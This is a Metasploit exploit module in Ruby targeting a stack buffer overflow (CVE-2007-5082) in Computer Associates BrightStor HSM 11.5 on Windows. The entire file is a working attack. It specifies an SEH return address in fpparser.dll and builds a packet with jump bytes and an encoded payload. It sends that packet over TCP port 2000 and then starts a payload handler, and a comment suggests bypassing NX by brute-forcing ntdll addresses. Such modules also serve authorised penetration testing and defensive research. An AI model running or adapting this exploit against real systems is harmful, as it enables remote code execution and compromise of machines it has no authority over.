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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'CA BrightStor HSM Buffer Overflow',
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      'Description'    => %q{
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          This module exploits one of the multiple stack buffer overflows in Computer Associates BrightStor HSM.
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        By sending a specially crafted request, an attacker could overflow the buffer and execute arbitrary code.
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      },
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      'Author'         => [ 'toto' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2007-5082' ],
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          [ 'OSVDB', '41363' ],
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          [ 'BID', '25823' ],
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        ],
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      'Privileged'     => true,
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'process',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 1026,
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          'BadChars' => "\x00\x0a\x0d;",
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          'StackAdjustment' => -3500,
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        },
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      'Platform' => 'win',
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      'Targets'  =>
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        [
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          # NX can be bypassed by brute forcing ntdll addresses as the process is restarted
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          # pop/pop/ret in fpparser.dll (old from 2004)
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          [ 'BrightStor HSM 11.5 Windows All',	{ 'Ret' => 0x12014c78 } ],
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        ],
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      'DisclosureDate' => '2007-09-27',
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      'DefaultTarget' => 0))
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    register_options(
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      [
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        Opt::RPORT(2000)
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      ])
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  end
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  def exploit
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    connect
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    data =
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      [42,7,0,0].pack('VVVV') +
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      payload.encoded +
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      "\xeb\x06" +
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      Rex::Text.rand_text_alphanumeric(2) +
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      [ target.ret ].pack('V') +
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      "\xe9\xf1\xfb\xff\xff" +
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      Rex::Text.rand_text_alphanumeric(0x100)
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    sploit = [data.length + 4].pack('V') + data
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    print_status("Trying target #{target.name}...")
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    sock.put(sploit)
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    handler
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    disconnect
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  end
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end
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